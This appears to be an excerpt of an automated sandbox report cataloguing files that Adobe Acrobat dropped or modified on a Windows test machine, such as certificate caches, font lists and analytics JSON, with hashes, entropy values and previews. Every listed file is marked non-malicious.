Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklrejw3/tfllXlE/HT8kP/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKNc/eT8s7NMa8RdWBwRd
MD5:	07DDD40BA5C285CBE2A08E1BD9F2727F
SHA1:	3276B85A1EBC9E64BAB3906B86DD6F8CDA133837
SHA-256:	CF9A278C003ED0BA5AA1014920479440FEF8409253013A10B477F4E902F477C0
SHA-512:	1E784E0C0FAA58E06C0950EBE4B431B70D6E1CA06B0FCEEAFA46CCF7D23277CA3BCCF0430EFE176BBA3968E7CFCBC25524015900E5D48661F7092BACC086BBC0
Malicious:	false
Preview:	p...... .........;...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKrsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:giDImsLNkPlE99SNxAhUe/3
MD5:	9501085AB31A4B9007A28858F9E720B3
SHA1:	356211D55908243D49747AD3A32BD4AAAB24613C
SHA-256:	C645C58B1B3C4E3076A381E3815BEFE10BF55FE424A1DD7188CD23504925A561
SHA-512:	5E8169A652741138A3B88391D1A6B6289AA99C910AF06F8A7619D30D45F5C5755BA868DCF8277E29B2C29F7992F2528ED69F014C37248FB72288278FDE821DD6
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6532

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6532

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366519777397332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJM3g98kUwPeUkwRe9:YvXKXFel1sOcPE3GMbLUkee9
MD5:	98937C5BA8B30E5AA61FA062F317AF62
SHA1:	3F8AC6C684428EAE53DB9B8FEA755342B4C0700A
SHA-256:	36CA0805A262C00CFEE04B4CB2665FC67EA74461388385B65FA91B6DD97381EC
SHA-512:	1DACB3D63B923B5C50F5235D4A6888981FDA470A44476B3D1590B15D5C2DB3FE45D5C84E0A144CAA922DD6B0B4547ACC38A047B2F29B9EB05913641BAD6082E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31593473219472
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfBoTfXpnrPeUkwRe9:YvXKXFel1sOcPE3GWTfXcUkee9
MD5:	57A521BDFF2A1EC35C54CC5E6C85ED84
SHA1:	6FC01AA19208932EB4BDD8373C77FEF9972A96C6
SHA-256:	667BD42197962802311B09E0E4FF527A609D18D073458E00A9136BBBF75C4235
SHA-512:	5E7540761DECBAEB9AB54314B0C55CE7245C2A6F0630503DDD7C4C4B998690D69D240ECC09ECEB03AB2459321D32E5F83A23EB460E1327F8C4DA679A4DA06371
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295460915268753
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfBD2G6UpnrPeUkwRe9:YvXKXFel1sOcPE3GR22cUkee9
MD5:	1C7767BA2576B1D303ED2A0A12BD1B36
SHA1:	F9556851B47C00FC46E0668B233A0DBD50AF4069
SHA-256:	6A2BBE9190B69B9C9E6D6AF3CF848B11A766C927A5C89FD782D1156B1D3358EB
SHA-512:	B8D7D5DCF69790E9A9FD32ED3F58BACA7D1CD7BE1D5E6280896BDD0320E7F19A3DED915279ADB4D9760CB672618BEE52B0AB1F934933077B5F22C6BDEB2FE91C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.346653103625484
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfPmwrPeUkwRe9:YvXKXFel1sOcPE3GH56Ukee9
MD5:	4AE255E380460837ACD7CC536F715B98
SHA1:	EBBF19660063089C8F12217EEEF361B645EBA525
SHA-256:	031BB0480979FFDB01F7CF0ECC07E61BD4EB77A0D3B9029B28E6515CE47F412E
SHA-512:	9C5DF4CE0DDC18BC304F12314284D0BA55543BE4571C3BD5D9E0A48EC9F864BA3D08A300A6863A26F4001B7587703BCCEE0C87063AB44CEE7F3899EA6658BE4B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694259257662448
Encrypted:	false
SSDEEP:	24:Yv6XAl10PfpLgE9cQx8LennAvzBvkn0RCmK8czOCCSG:Yvuhgy6SAFv5Ah8cv/G
MD5:	51649D6AB26E91252A2A1BC2F84EFA22
SHA1:	5FA543CE13CCD6EB14D6156A238A3B90FD9BACE4
SHA-256:	B737C8C56A4856A2724085A302A7C2F64384C2E917487C4A85CF2AE1F9983DAE
SHA-512:	F206D5C72A30018CF6E15B1DF15ED775106F51BBEA5EB41D0CA9818AAE86A9D52E9E6A7A635AC5E7B76AD26293F68648E7B36B09848A1937E7B57F4A0DB2A1F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296189133958327
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJf8dPeUkwRe9:YvXKXFel1sOcPE3GU8Ukee9
MD5:	114F4A1F3D1DC496D0999B528B318795
SHA1:	994223C516E43CA9FB019F0B8ACBCC7D0D7199BF
SHA-256:	FE40C39284983D1A976689CDECBE7AD9A5B5FBD25FE48B9AEA35BA4193AC8CE1
SHA-512:	3D66297E3D27C70A0E41ED7B29689637F4D77D8FB60526E3D0B77D899F58F25032F822EBBC8DDCB06E4C67A6E0CE52E3F41CB58D10A22C107570C8D81518B1D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.298036755776252
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfQ1rPeUkwRe9:YvXKXFel1sOcPE3GY16Ukee9
MD5:	21A0B6EC26FD8EBD602075433115A66C
SHA1:	35437887D9D070EE8DE35A19E99F7963FBC007A1
SHA-256:	70C7F8EE06695DF038E973B1BF10F164D7BD2D58F4CD515CF6FABD04306C5E9A
SHA-512:	0B2571B798D73141973125AC786CBB5E34DEFB6FA5A82A905A7A07705FA8D88BCB83D8D7695F3A1FC5FF4F6F9E44C96E2D9C3018EF321702EBC3239DD42FE156
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307178804609182
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfFldPeUkwRe9:YvXKXFel1sOcPE3Gz8Ukee9
MD5:	B41D932DC862E127307C404A4A593238
SHA1:	E0ECE07040A724998329E58135C75A338F512C6F
SHA-256:	A4E808E8EBBB21173C63697AD5075A6A2C3B8C976AF204158204C4642F134B4C
SHA-512:	58ECBB1C9F278E2E3DE7A6DD3FAFA832AB6B74040E3EB612D488E0B08C06B881D9EF8E19F3AF6C39B1C5CDB35EA1486AEEF3DC1F0930CC5F86C35A0B55538158
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3222118373773215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfzdPeUkwRe9:YvXKXFel1sOcPE3Gb8Ukee9
MD5:	92CCB2D059B2739F79A100957CAD020E
SHA1:	D95BA2F8961D6CFC4983346117B13B4FE17D3119
SHA-256:	A3AB161F7EFEFA781666365841A9E52F5CD5B82D4C63A7F790E264B661AADD56
SHA-512:	5FE1945F432E483B909CC58C39AB1FB8BF8468FB50B602D222D0E46612482639E20C43A20FC44B3179115BEC988171FA4B6E9AB04D333DB9404FA1D39FB052F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302620894598421
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfYdPeUkwRe9:YvXKXFel1sOcPE3Gg8Ukee9
MD5:	0F5485D8CA5FD44EBF5119EE022292A7
SHA1:	DA45AEA20FB84BB71965E218323E65A2E2AF0380
SHA-256:	EEA0184F4DC5E0293F776D4B8AAA92C093A36DAB3078BD6696AEA5FF2764B313
SHA-512:	BBE5A1863B77DF6A38E7C33F3791942D1DDA652C52AA2F20537BE247CA288114D2E0D238EC1F6CB8E95EDC9289BBA79CF055D6DB964CA62469C9277DF9CB7F37
Malicious:	false
